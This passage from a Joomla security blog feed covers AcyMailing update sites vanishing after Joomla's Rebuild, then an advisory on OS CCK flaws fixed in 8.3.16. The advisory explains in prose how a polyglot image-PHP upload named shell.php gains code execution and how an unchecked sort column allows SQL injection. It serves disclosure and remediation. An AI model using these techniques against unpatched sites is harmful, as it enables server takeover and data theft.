entries”&lt;/td&gt;&lt;td&gt;A forum moderator: install AcyMailing again&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;7 Jun 2023&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://forum.acymailing.com/d/4434-update-site-missing&quot;&gt;Update site missing&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Enterprise 8.4: there is no update site for AcyMailing&lt;/td&gt;&lt;td&gt;A forum moderator: update through the Joomla installer&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;22 Aug 2024&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://forum.acymailing.com/d/7135-can-we-stop-with-manual-updates-please&quot;&gt;Can we stop with manual updates please&lt;/a&gt;&lt;/td&gt;&lt;td&gt;“The JED states that Acymailing uses the Joomla update system however for the last several updates you have required that we download the update”&lt;/td&gt;&lt;td&gt;A forum moderator: “We have made changes to the way the updates are processed”, so 9.7.x and 9.8.0 had to be installed by hand&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;27 Jan 2025&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://forum.acymailing.com/d/7294-unsubscribe-link/11&quot;&gt;Unsubscribe link&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Enterprise 9.11.1: “I received no update notification in the backend”, with 10.0.0 already released&lt;/td&gt;&lt;td&gt;No reply on that point&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;27 Dec 2025&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://forum.acymailing.com/d/7506-disappearing-update-site-does-anyone-else-have-this-issue&quot;&gt;Disappearing update site - does anyone else have this issue?&lt;/a&gt;&lt;/td&gt;&lt;td&gt;On Joomla 5, “the update site disappears from the update sites list” within 24 hours of a reinstall, and the only solution support offered was to reinstall&lt;/td&gt;&lt;td&gt;No reply&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The 2019 and 2020 threads are mostly about AcyMailing 4 and 5, an older product line, so they show the same symptom rather than the same code. From 2021 they are about the current product: 7.4 with no update notification, a 7.5 plugin whose manifest names no update server, licensed 7 and 8 sites, 9.11.1, and the January 2023 threads that name Rebuild as the cause. In 2022 a moderator twice told users to remove the AcyMailing update sites and reinstall, and once to rebuild and then reinstall, which only makes sense if Rebuild cannot restore the entry on its own. The December 2025 post was written by a paying customer who had already been through Acyba’s support desk. Over seven years the answer stayed the same: reinstall, which restores the database row until the next Rebuild deletes it again.&lt;/p&gt;
&lt;p&gt;Most answers come from two accounts with the forum’s moderator role, and two more answers come from accounts in its admin group. The forum does not say whether any of them work for Acyba, so we have not described them as staff, although one moderator writes of “our developers” and “our update server”. Either way, the reports were made on Acyba’s own forum, and the 2025 post records the same advice coming from Acyba’s support desk.&lt;/p&gt;
&lt;h2&gt;The fix belongs in AcyMailing’s Joomla manifest&lt;/h2&gt;
&lt;p&gt;A &lt;code&gt;&amp;lt;updateservers&amp;gt;&lt;/code&gt; block in &lt;code&gt;pkg_acymailing.xml&lt;/code&gt; pointing at the Starter feed would let Joomla rebuild a working update site, and the install script could go on replacing it with the licensed URL as it does now. Declaring a download key with &lt;code&gt;&amp;lt;dlid&amp;gt;&lt;/code&gt; is the standard way to attach a licence to an update feed without writing to the database by hand. Either change is a few lines, and either would mean Rebuild repairs AcyMailing instead of breaking it.&lt;/p&gt;
&lt;p&gt;We wrote that on 30 September. Five days later Acyba shipped the first of those two changes.&lt;/p&gt;
&lt;h2&gt;What AcyMailing 11.1.1 changes&lt;/h2&gt;
&lt;p&gt;AcyMailing 11.1.1 came out on 5 October 2026. Its &lt;a href=&quot;https://www.acymailing.com/changelog/&quot;&gt;changelog&lt;/a&gt; says: “The update system has been changed to better match the Joomla updater intended usage. Information on expired licenses can no longer be displayed in the Joomla updater but rebuilding the update site is now possible.” On 7 October we opened the free Starter package and the Enterprise package and checked them against Joomla 6.1’s source:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;pkg_acymailing.xml&lt;/code&gt; now has an &lt;code&gt;&amp;lt;updateservers&amp;gt;&lt;/code&gt; block pointing at &lt;code&gt;api.acymailing.com/public/updatexml/component?extension=acymailing&amp;amp;cms=joomla&amp;amp;level=&amp;lt;edition&amp;gt;&amp;amp;type=package&lt;/code&gt;. The address no longer has &lt;code&gt;version=latest&lt;/code&gt; or the site’s own URL in it, so it is the same on every site running that edition.&lt;/li&gt;
&lt;li&gt;The delete-then-insert code in the install script is gone. A new function, &lt;code&gt;acym_syncUpdateSite()&lt;/code&gt;, finds the update site Joomla created from the manifest by that exact address and writes &lt;code&gt;licenseKey=&amp;lt;your key&amp;gt;&lt;/code&gt; into its &lt;code&gt;extra_query&lt;/code&gt;. It runs after every install or update and again whenever a licence key is saved in AcyMailing’s configuration, and it removes the old-style AcyMailing update sites left behind by earlier versions.&lt;/li&gt;
&lt;li&gt;Joomla appends &lt;code&gt;extra_query&lt;/code&gt; to the package download URL, and Acyba’s download server reads it. With no key it answers “The license key was not provided”, and with a made-up one “The license was not found”.&lt;/li&gt;
&lt;li&gt;Rebuild backs up each update site’s &lt;code&gt;extra_query&lt;/code&gt; by address and restores it when a manifest declares the same address. The address in Acyba’s PHP and the one in its XML are identical, so a Rebuild on 11.1.1 recreates the AcyMailing update site with the licence key still attached.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That is the manifest fix described above, done the way Joomla intends, and it ends the reinstall-after-every-Rebuild routine. Two smaller gaps remain.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;There is still &lt;strong&gt;no &lt;code&gt;&amp;lt;dlid&amp;gt;&lt;/code&gt; element&lt;/strong&gt;. Joomla only treats an update site as taking a download key when the manifest declares one. Without it, Joomla removes the Download Key field from AcyMailing’s entry in System, Update Sites, and its warning about extensions missing a download key skips AcyMailing. The key can only be entered in AcyMailing’s own configuration. One line, &lt;code&gt;&amp;lt;dlid prefix=&quot;licenseKey=&quot; suffix=&quot;&quot;/&amp;gt;&lt;/code&gt;, matches the format Acyba already writes and would switch both on.&lt;/li&gt;
&lt;li&gt;Licence errors &lt;strong&gt;come back as HTTP 200&lt;/strong&gt;. When the key is missing, wrong or expired, the download server answers with status 200 and a line of text where the zip should be. Joomla only rejects a download whose status is not 200, so it saves that text as the package and fails later when it cannot unpack it, and the administrator never sees why. That is presumably what the changelog means by expired-licence information no longer showing in the Joomla updater. With a 401 or 403, Joomla would stop at the download step with “Error connecting to the server: 403”, which at least points at the licence.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Neither gap stops an update reaching a correctly licensed site.&lt;/p&gt;
&lt;p&gt;What to do now depends on what the site can see. If Joomla offers 11.1.1, update as normal, and Rebuild is safe from then on. If Joomla says AcyMailing is up to date on anything below 11.1.1, its update site is already gone and it will not hear about this release either, so install 11.1.1 over the top one last time. On Essential and Enterprise, check the licence key is saved on the License tab of AcyMailing’s configuration afterwards, because that is where the update site now gets it from. Check the version number yourself, or let &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;mySites.guru&lt;/a&gt; check it for every site you look after.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-09-24&lt;/strong&gt; Acyba releases AcyMailing 11.1.0 Two security fixes are listed under Bug fixes, with no advisory. mySites.guru flags every connected Joomla site below 11.1.0 the same day.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-26&lt;/strong&gt; The Joomla CNA publishes CVE-2026-94132 and CVE-2026-94131 A public proof-of-concept for CVE-2026-94132 appears on GitHub the same evening.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-30&lt;/strong&gt; Joomla developers notice sites that cannot see the update Sites on older AcyMailing versions report themselves up to date. We trace it to update sites that exist only in the database.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-30&lt;/strong&gt; We publish this post and write to Acyba and the Joomla Security Strike Team The email to Acyba support, copied to security@joomla.org, goes out at 17:24 UTC and asks whether Acyba knows about the missing update sites.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-10-01&lt;/strong&gt; Acyba confirms it knows, and blames Rebuild At 09:42 UTC Acyba support replies that its licence system needs to identify the user, that it therefore inserts update site rows from PHP instead of declaring them in the manifest, and that Rebuild &quot;recently changed&quot;. It asks whether Joomla can add dynamic parameters to the update server URL.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-10-01&lt;/strong&gt; We answer with the Joomla code that already does it Our reply, copied to the Joomla Security Strike Team, points at download keys, the installer plugin events and the Rebuild history, with a plugin example.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-10-01&lt;/strong&gt; Acyba promises a fix &quot;in the next days&quot; At 13:42 UTC Acyba support replies that it knew about the problem, has found the Joomla documentation and is already working on it. It says AI-assisted security reports are taking time away from other work, and that a new AcyMailing version with the fix will follow in the next days.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-10-02&lt;/strong&gt; Acyba says the problem had not been reported until recently At 07:51 UTC Acyba support confirms the fix will declare the update server in the manifest and ship in the coming days. It says the update mechanism worked as expected for years and &quot;until recently it had not been reported to us as a problem&quot;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-10-02&lt;/strong&gt; We send Acyba six of its own forum threads, from 2019 to 2025 Our reply at 08:52 UTC links forum threads reporting missing AcyMailing update sites, two of them saying Rebuild removed the entries, together with the Joomla and AcyMailing version histories in this post.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-10-05&lt;/strong&gt; Acyba releases AcyMailing 11.1.1 with the update server in the manifest The changelog says the update system now matches &quot;the Joomla updater intended usage&quot; and that &quot;rebuilding the update site is now possible&quot;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-10-07&lt;/strong&gt; We check the 11.1.1 packages against Joomla&apos;s source Starter and Enterprise both declare the update server, and Rebuild keeps the licence key. No download key element yet, and licence errors still come back as HTTP 200.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/acymailing-11-1-0-security-release/&quot;&gt;AcyMailing 11.1.0 Fixes Two Security Flaws&lt;/a&gt; - what the update you might not be seeing actually fixes&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.acymailing.com/changelog/&quot;&gt;AcyMailing changelog&lt;/a&gt; - the vendor&apos;s release notes, 11.1.0 dated 24 September 2026 and 11.1.1 dated 5 October&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Help5.x:Extensions:_Update_Sites/en&quot;&gt;Joomla Help: Extensions: Update Sites&lt;/a&gt; - the screen with the Rebuild button&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.akeeba.com/news/1746-working-around-joomla-s-broken-extensions-updater.html&quot;&gt;Akeeba: Working around Joomla&apos;s broken extensions updater&lt;/a&gt; - another vendor&apos;s account of what Rebuild does to update site records&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/9744&quot;&gt;joomla-cms issue #9744&lt;/a&gt; - where Rebuild was added, described as rebuilding update sites from the manifest files&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>updates</category><category>vulnerability</category><category>acym</category><enclosure url="https://mysites.guru/img/og/blog/acymailing-update-site-disappears.png" length="0" type="image/png"/></item><item><title>OS CCK 8.3.16 for Joomla Fixes a No-Login PHP Upload and an SQL Injection, but the Updater Still Offers 8.3.14</title><link>https://mysites.guru/blog/ordasoft-os-cck-sql-injection/</link><guid isPermaLink="true">https://mysites.guru/blog/ordasoft-os-cck-sql-injection/</guid><description>OS CCK for Joomla before 8.3.16 had a no-login PHP upload (CVE-2026-102427) and SQL injection (CVE-2026-102428). The updater won&apos;t offer the fix.</description><pubDate>Wed, 30 Sep 2026 15:47:57 GMT</pubDate><content:encoded>&lt;p&gt;OrdaSoft has released &lt;a href=&quot;https://ordasoft.com/joomla-cck&quot;&gt;OS CCK&lt;/a&gt; 8.3.16, and it fixes two security flaws in the Joomla extension, both reachable with no login. The worse one is &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-102427/&quot;&gt;CVE-2026-102427&lt;/a&gt;, which the Joomla CNA scores at the maximum CVSS 10.0: any visitor could upload a file to a site running OS CCK below 8.3.16 and have the server run it as PHP. The other is an SQL injection in the public listing pages, fixed in the same release with no advisory. It got its own record, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-102428/&quot;&gt;CVE-2026-102428&lt;/a&gt; (CVSS 9.3 Critical), on 5 October.&lt;/p&gt;
&lt;p&gt;The bigger problem is that neither fix will reach most of the sites that need it. OrdaSoft’s own update server still tells Joomla that the current version is the older, vulnerable 8.3.14, so no affected site is offered 8.3.16. It has to be installed by hand.&lt;/p&gt;
&lt;h2&gt;How mySites.guru flags OS CCK on your Joomla sites&lt;/h2&gt;
&lt;p&gt;mySites.guru records the exact version of every extension on every connected Joomla site in each snapshot, twice a day. We added both flaws to our Joomla vulnerability database, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-102427/&quot;&gt;CVE-2026-102427&lt;/a&gt; the same afternoon its record was published, so any site running OS CCK below 8.3.16 now shows them on its site card and in its audit, with 8.3.16 as the version that resolves them. The flag works from the installed version, so it does not rely on Joomla’s updater, which is the part that is broken here.&lt;/p&gt;
&lt;p&gt;The Pro edition installs under the same element, &lt;code&gt;com_os_cck&lt;/code&gt;, but numbers its versions differently from the free Light line. A Pro install inside the affected range is flagged. OrdaSoft publishes no Pro changelog, so we cannot tell you which Pro build includes the fixes, and we would rather flag it than guess it safe.&lt;/p&gt;
&lt;h2&gt;How the OS CCK upload handler let anyone write PHP to a Joomla site&lt;/h2&gt;
&lt;p&gt;OS CCK lets site owners build custom content types, and those types can have image fields that visitors fill in from the front end. The upload behind those fields is a file called &lt;code&gt;site/uploader.php&lt;/code&gt;, reached through the component’s normal routing with &lt;code&gt;task=getContent&lt;/code&gt;. The dispatcher just includes the file. There is no login check and no permission check anywhere on that path, so the request works from an anonymous browser.&lt;/p&gt;
&lt;p&gt;The handler did try to make sure the upload was an image. It read the file’s first bytes with &lt;code&gt;mime_content_type()&lt;/code&gt; and compared the result against the image types in OS CCK’s own MIME table. That is a real content check, better than trusting the browser’s &lt;code&gt;Content-Type&lt;/code&gt; header. The problem was the other half. According to the CVE record, the list of allowed file extensions was in the source but commented out, and the saved file’s extension came straight from the filename the attacker sent.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;10.0&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;span&gt;Critical&lt;/span&gt;&lt;span&gt;Joomla CNA · &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-102427/&quot;&gt;CVE-2026-102427&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;Anyone can upload a PHP file and run it, with no account on the site.&lt;/p&gt;&lt;div&gt;&lt;code&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H&lt;/code&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;No login needed&lt;/span&gt;&lt;span&gt;Single request&lt;/span&gt;&lt;/div&gt;What does this mean?&lt;div&gt;&lt;p&gt;CVSS 4.0 scores how severe a flaw is, from 0 (no impact) to 10 (critical). Each pair of letters in the string above is one metric; here is what this one&apos;s says.&lt;/p&gt;&lt;div&gt;&lt;p&gt;How it is reached&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;AV:N&lt;/dt&gt;&lt;dd&gt;Network: Reachable across the internet&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AC:L&lt;/dt&gt;&lt;dd&gt;Low: Nothing to work around, it just works&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AT:N&lt;/dt&gt;&lt;dd&gt;None: Works against any affected install&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;PR:N&lt;/dt&gt;&lt;dd&gt;None: No account needed&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;UI:N&lt;/dt&gt;&lt;dd&gt;None: Nobody has to be tricked into anything&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does to the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;VC:H&lt;/dt&gt;&lt;dd&gt;High: Everything the site holds can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VI:H&lt;/dt&gt;&lt;dd&gt;High: Data and files can be altered at will&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VA:H&lt;/dt&gt;&lt;dd&gt;High: The site can be taken down&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does beyond the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;SC:H&lt;/dt&gt;&lt;dd&gt;High: Data on other systems can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SI:H&lt;/dt&gt;&lt;dd&gt;High: Other systems can be altered&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SA:H&lt;/dt&gt;&lt;dd&gt;High: Other systems can be taken down&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Put those two facts together and you have the exploit. A polyglot file, one that opens with real GIF or PNG header bytes and has PHP source appended after them, satisfies the content check because its first bytes really are an image. Saved as &lt;code&gt;shell.php&lt;/code&gt;, it then goes into a folder under the site’s &lt;code&gt;images&lt;/code&gt; directory, and PHP executes anything ending in &lt;code&gt;.php&lt;/code&gt; in that folder when a browser asks for it. The CNA’s own summary names that exact technique.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;A malicious actor&apos;s own code runs on your server, with the same access as the website itself: reading, changing or deleting any file it can touch, planting a backdoor that survives the next update, installing malware, pulling every database credential and API key from your configuration, and using your server to attack other people. Gulp.&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;What OrdaSoft changed in the OS CCK 8.3.16 upload handler&lt;/h2&gt;
&lt;p&gt;We read the 8.3.16 Light package. The upload handler now defines an extension allow-list of &lt;code&gt;jpg&lt;/code&gt;, &lt;code&gt;jpeg&lt;/code&gt;, &lt;code&gt;png&lt;/code&gt;, &lt;code&gt;gif&lt;/code&gt; and &lt;code&gt;webp&lt;/code&gt;, and rejects any upload whose lower-cased extension is not on it before the file is saved. The magic-byte check is still there, so an upload now has to pass both: look like an image, and be named like one. That pairing is what the &lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html&quot;&gt;OWASP file upload guidance&lt;/a&gt; asks for, because each check alone has a known bypass.&lt;/p&gt;
&lt;p&gt;One thing did not change. In 8.3.16 the &lt;code&gt;getContent&lt;/code&gt; task is still reached with no login and no permission check, and uploads still go to &lt;code&gt;images/com_os_cck&amp;lt;n&amp;gt;/original/&lt;/code&gt; under the web root. That is by design for a front-end form, and with the allow-list back in place it no longer gives an attacker code execution. It does mean anonymous visitors can still put image files on the server, which is relevant if disk space or content moderation is a concern on the site.&lt;/p&gt;
&lt;h2&gt;The second flaw: a no-login SQL injection in record sorting&lt;/h2&gt;
&lt;p&gt;A content construction kit exists to show lists of things, and a list needs to be sortable. OS CCK takes the name of the sort column from the request and uses it to build the &lt;code&gt;ORDER BY&lt;/code&gt; clause of the query behind the listing. In the releases before 8.3.16 that value went into the query through a filter whose real job is a keyword blacklist, not a column allow-list, which is not enough to stop an &lt;code&gt;ORDER BY&lt;/code&gt; injection.&lt;/p&gt;
&lt;p&gt;In 8.3.16 the listing code compares the requested sort field against the actual columns of the content type, plus a short list of known sort keys, and falls back to a safe default when it matches none of them. The previous, unrestricted line is still in the file, commented out, one line above its replacement. That is the same fix OrdaSoft shipped days earlier for &lt;a href=&quot;https://mysites.guru/blog/ordasoft-joomla-extensions-sql-injection/&quot;&gt;three other extensions that did get CVEs&lt;/a&gt;.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;9.3&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;CVE-2026-102428: SQL injection in record sorting&lt;/p&gt;&lt;p&gt;&lt;span&gt;Critical&lt;/span&gt;&lt;span&gt;Joomla CNA&lt;/span&gt;&lt;/p&gt;&lt;p&gt;Anyone can read from and write to the site&apos;s database through the sort column of a public listing page.&lt;/p&gt;&lt;div&gt;&lt;code&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N&lt;/code&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;No login needed&lt;/span&gt;&lt;span&gt;1.0.0 to 8.3.15&lt;/span&gt;&lt;/div&gt;What does this mean?&lt;div&gt;&lt;p&gt;CVSS 4.0 scores how severe a flaw is, from 0 (no impact) to 10 (critical). Each pair of letters in the string above is one metric; here is what this one&apos;s says.&lt;/p&gt;&lt;div&gt;&lt;p&gt;How it is reached&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;AV:N&lt;/dt&gt;&lt;dd&gt;Network: Reachable across the internet&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AC:L&lt;/dt&gt;&lt;dd&gt;Low: Nothing to work around, it just works&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AT:N&lt;/dt&gt;&lt;dd&gt;None: Works against any affected install&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;PR:N&lt;/dt&gt;&lt;dd&gt;None: No account needed&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;UI:N&lt;/dt&gt;&lt;dd&gt;None: Nobody has to be tricked into anything&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does to the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;VC:H&lt;/dt&gt;&lt;dd&gt;High: Everything the site holds can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VI:H&lt;/dt&gt;&lt;dd&gt;High: Data and files can be altered at will&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VA:H&lt;/dt&gt;&lt;dd&gt;High: The site can be taken down&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does beyond the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;SC:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their data&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SI:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their integrity&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SA:N&lt;/dt&gt;&lt;dd&gt;None: Other systems stay up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;div&gt;&lt;p&gt;The SQL injection had no CVE until 5 October&lt;/p&gt;&lt;div&gt;&lt;p&gt;When 8.3.16 shipped, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-102427/&quot;&gt;CVE-2026-102427&lt;/a&gt; covered the upload flaw only, and the sort-order SQL injection had no record, no severity score and no advisory, so trackers keyed on CVE identifiers did not show it. The Joomla CNA published &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-102428/&quot;&gt;CVE-2026-102428&lt;/a&gt; for it on 5 October 2026. Updating to 8.3.16 fixes both.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;Why the fix will not reach most Joomla sites&lt;/h2&gt;
&lt;p&gt;Joomla extensions update through an update server: the vendor publishes a small XML manifest that names the current version and links to the download, and every site checks it. OrdaSoft’s OS CCK manifest still names version &lt;strong&gt;8.3.14&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Joomla’s updater compares the version in that manifest against the version installed on the site. A site already on 8.3.14 or 8.3.15 is therefore told it is up to date, and 8.3.16 is never offered, even though the download link inside that same manifest now serves the fixed 8.3.16 file. The patch is sitting on OrdaSoft’s server, wired to the update system, and labelled as older than it is. Only a site that happens to be on something below 8.3.14, or an owner who reinstalls by hand, ends up on the fixed release.&lt;/p&gt;
&lt;p&gt;So the fix shipped, and the update system that is supposed to deliver it will not. That gap, between a patch existing and a patch arriving, is the reason a version flag across a whole portfolio beats trusting each vendor’s updater to do its job.&lt;/p&gt;
&lt;h2&gt;Why a content check alone is not enough for Joomla extension uploads&lt;/h2&gt;
&lt;p&gt;Checking the bytes of an upload answers one question: does the start of this file look like an image? It says nothing about what the server will do with the file once it is saved. On almost every Joomla host, that decision comes from the file’s extension. A &lt;code&gt;.php&lt;/code&gt; file under the web root goes to PHP, whatever its first bytes are. PHP ignores leading binary junk and runs the first &lt;code&gt;&amp;lt;?php&lt;/code&gt; block it finds.&lt;/p&gt;
&lt;p&gt;So the extension is the control that decides whether an upload becomes code, and the content check is a second layer on top. Commenting out the allow-list removed the layer that mattered. OS CCK is the fifth OrdaSoft extension to get a security fix in September after &lt;a href=&quot;https://mysites.guru/blog/os-gallery-sql-injection-rce-disclosure/&quot;&gt;OS Gallery&lt;/a&gt; and the Real Estate Manager, Vehicle Manager and Book Library batch, and &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-102427/&quot;&gt;CVE-2026-102427&lt;/a&gt; credits the same researcher, Ala Arfaoui. OS Gallery’s worst finding was also an upload that trusted the attacker’s filename.&lt;/p&gt;
&lt;p&gt;A web server rule that blocks PHP execution inside &lt;code&gt;images&lt;/code&gt; would have stopped this class of flaw on any site that had one. Joomla does not ship that rule by default, and most hosts do not add it.&lt;/p&gt;
&lt;h2&gt;Why a sort parameter keeps becoming an SQL injection in Joomla extensions&lt;/h2&gt;
&lt;p&gt;Escaping and parameter binding protect a value, the kind of thing that sits inside quotes in a query, like a search term or an ID. They work by making sure an attacker cannot break out of those quotes. A column name in an &lt;code&gt;ORDER BY&lt;/code&gt; clause is part of the query’s structure instead: it sits there with no quotes around it, and a prepared statement cannot bind it. There is no quote to escape, so whatever the attacker sends is read as SQL from the first character. A filter that strips or blacklists a few keywords does not change that.&lt;/p&gt;
&lt;p&gt;The fix is always the same, and it is the one OS CCK 8.3.16 now applies: compare the requested sort column against a fixed allow-list of the columns the listing is allowed to sort by, and fall back to a default when it matches none. Joomla’s own list models do exactly this with their &lt;code&gt;filter_fields&lt;/code&gt; allow-list. The sort direction gets the same treatment, reduced to &lt;code&gt;ASC&lt;/code&gt; or &lt;code&gt;DESC&lt;/code&gt; and nothing else.&lt;/p&gt;
&lt;h2&gt;How rare is OS CCK across the sites we monitor?&lt;/h2&gt;
&lt;p&gt;Rarely used. Only a handful of connected sites in the mySites.guru database run OS CCK at all. That is good news for Joomla sites in general and bad news for the few that run it, because a rarely used extension with no advisory and a broken update path gets little attention. No mailing list will warn its owners, and the Joomla updater tells them they are up to date.&lt;/p&gt;
&lt;h2&gt;Is &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-102427/&quot;&gt;CVE-2026-102427&lt;/a&gt; being exploited?&lt;/h2&gt;
&lt;p&gt;There is no public report of exploitation yet. The CVE is not on CISA’s &lt;a href=&quot;https://www.cisa.gov/known-exploited-vulnerabilities-catalog&quot;&gt;Known Exploited Vulnerabilities catalogue&lt;/a&gt;, and CISA’s assessment attached to the record says exploitation none, automatable yes, technical impact total. The record’s own &lt;code&gt;E:A&lt;/code&gt; (attacked) value is the Joomla CNA’s default on every record it publishes, so it should not be read as evidence either way.&lt;/p&gt;
&lt;p&gt;Automatable is the part to take seriously. The attack is a single unauthenticated POST to a predictable URL, with a file anyone can build in a text editor. It needs no human in the loop, which is the kind of flaw mass scanners add once a record is public.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;h2&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=joomla/filesinformation/certainfolders&quot;&gt;Find PHP files hiding in the images folder&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;mySites.guru checks every connected site for this automatically and flags it the moment it appears. It runs as part of the full audit on every connected Joomla site.&lt;/p&gt;&lt;/div&gt;&lt;div&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=joomla/filesinformation/certainfolders&quot;&gt;Check your site for free&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;What to do if you run OS CCK on a Joomla site&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Install 8.3.16 or later by hand. Download the current package from &lt;a href=&quot;https://ordasoft.com/joomla-cck&quot;&gt;ordasoft.com&lt;/a&gt;, install it over the top in the Joomla extension manager, and check the installed version afterwards. Do not wait for the updater.&lt;/li&gt;
&lt;li&gt;If you cannot update today, disable the component in the extension manager. Unpublishing a menu item does not help, because the upload task and the listing pages answer on the component’s own URL.&lt;/li&gt;
